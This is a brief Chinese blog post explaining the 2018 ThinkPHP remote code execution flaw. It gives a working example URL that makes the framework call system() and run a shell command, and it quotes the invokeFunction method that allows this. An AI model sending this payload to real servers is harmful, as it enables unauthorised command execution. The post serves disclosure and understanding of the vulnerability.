周梦康 发表于 2018-12-11 1541 次浏览 标签 : ThinkPHP

https://blog.thinkphp.cn/869075

用户反馈

http://www.thinkphp.cn/topic/60390.html

比如访问

http://localhost?s=\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

则会执行

public static function invokeFunction($function, $vars = [])
{
    $reflect = new \ReflectionFunction($function);
    $args    = self::bindParams($reflect, $vars);

    // 记录执行信息
    self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');

    return $reflect->invokeArgs($args);
}

评论列表